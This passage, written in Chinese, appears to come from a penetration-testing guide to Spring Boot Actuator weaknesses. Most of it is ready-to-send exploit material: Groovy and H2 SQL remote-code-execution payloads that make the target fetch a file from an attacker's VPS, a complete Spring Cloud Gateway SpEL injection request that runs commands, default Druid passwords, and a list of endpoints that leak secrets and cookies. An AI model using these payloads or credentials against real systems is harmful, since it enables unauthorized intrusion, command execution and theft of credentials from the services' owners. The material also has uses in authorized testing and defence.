16、spring.main.source的groovyRCE /restart 1、可以 POST 请求目标网站的/env`接口设置属性
2、可以 POST 请求目标网站的/restart接口重启应用
3、目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
4、HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
5、 环境中需要存在 groovy 依赖,否则会导致程序异常退出
托管groovy文件
并在里面输入要执行的命令
1 Runtime.getRuntime().exec("open -a Calculator");
设置 spring.main.sources 属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.main.sources=http://your-vps-ip/example.groovy
sping 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
重启应用
spring 1.x
1 2 POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 3 4 POST /actuator/restart Content-Type: application/json {"name":"spring.main.sources"}
17、spring.datasource.data 基于h2数据库的RCE /restart 1、可以POST请求/env接口
2、可以POST请求/restart接口
3、需要存在h2数据库、spring-boot-starter-data-jpa相关依赖
4、必须出网,否则会程序异常退出
5、含有畸形h2的sql语法内容文件也会导致程序异常退出
托管sql文件
在vps上开一个服务器,存放sql文件进去,便于下载
sql文件的内容如下
1 CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
注:以上的T5在/restart一次之后必须要更改,比如T6、T7,否则在T5进行/restart后再次执行会导致程序异常退出
设置spring.datasource.data属性
spring 1.x
1 2 3 4 POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x
1 2 3 4 POST /actuator/env Content-Type: application/json {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
重启应用
spring 1.x
1 2 POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x
1 2 POST /actuator/restart Content-Type: application/json
18、Spring Cloud Gateway RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host:x.x.x.x:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
返回的数据包出现201时则代表创建路由成功
1 2 3 4 5 6 7 8 9 10 POST /actuator/gateway/refresh/ HTTP/1.1 Host: 192.168.3.58:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
通过发送该数据包后访问创建的新路由则回显命令执行结果
![](/Users/wh1t3zer/Library/Application Support/typora-user-images/image-20240824151431553.png)
19、heapdump文件下载导致敏感信息泄露 在Spring Boot中,Heapdump主要用于监控和诊断应用程序的内存使用情况,尤其是在处理内存泄漏、内存溢出(OutOfMemoryError)等内存相关问题时。也就是说可以通过工具获取到heapdump的堆栈信息,操作系统、环境变量还有账号密码等敏感信息。
20、druid数据连接池 比较大部分的企业都会嵌入druid数据连接池到springboot项目中,用于监控数据库的操作行为、数据源等。一般常为/druid/index.html或者/druid/login.html,容易出现弱口令访问或者未授权访问,账号密码一般是admin/123456,若依的则是ruoyi/123456
在若依框架基础上,对druid的路径有所修改,一般后端服务会基于环境api路径,如prod-api,dev-api,观察数据包请求的路径,需要加上这一个
/prod-api/druid/index.html
/dev-api/druid/index.html
0x03总结 观察这一系列漏洞可以发现,有几个接口是比较常用的
/env 、**/actuator/env**
常用于泄露环境变量、内网地址、用户名密码信息等
/refresh 、**/actuator/refresh**
用于通过POST请求刷新方法实现RCE
/restart 、**/actuator/restart**
先通过POST到/env接口后,再用POST请求restart接口实现RCE
/jolokia 、**/actuator/jolokia**
可以解决在/env接口中的星号密码信息问题,通过寻找MBean,触发相关的RCE
/trace 、**/actuator/httptrace**
跟踪信息,可能获得管理员的cookies、jwt,请求信息
/heapdump
可以直接下载heapdump文件,用工具解密里面内容
/druid/login.html 、**/druid/index.html**
访问数据连接池,获得数据源信息、sql操作日志、session和接口访问日志
常见弱口令admin/123456、ruoyi/123456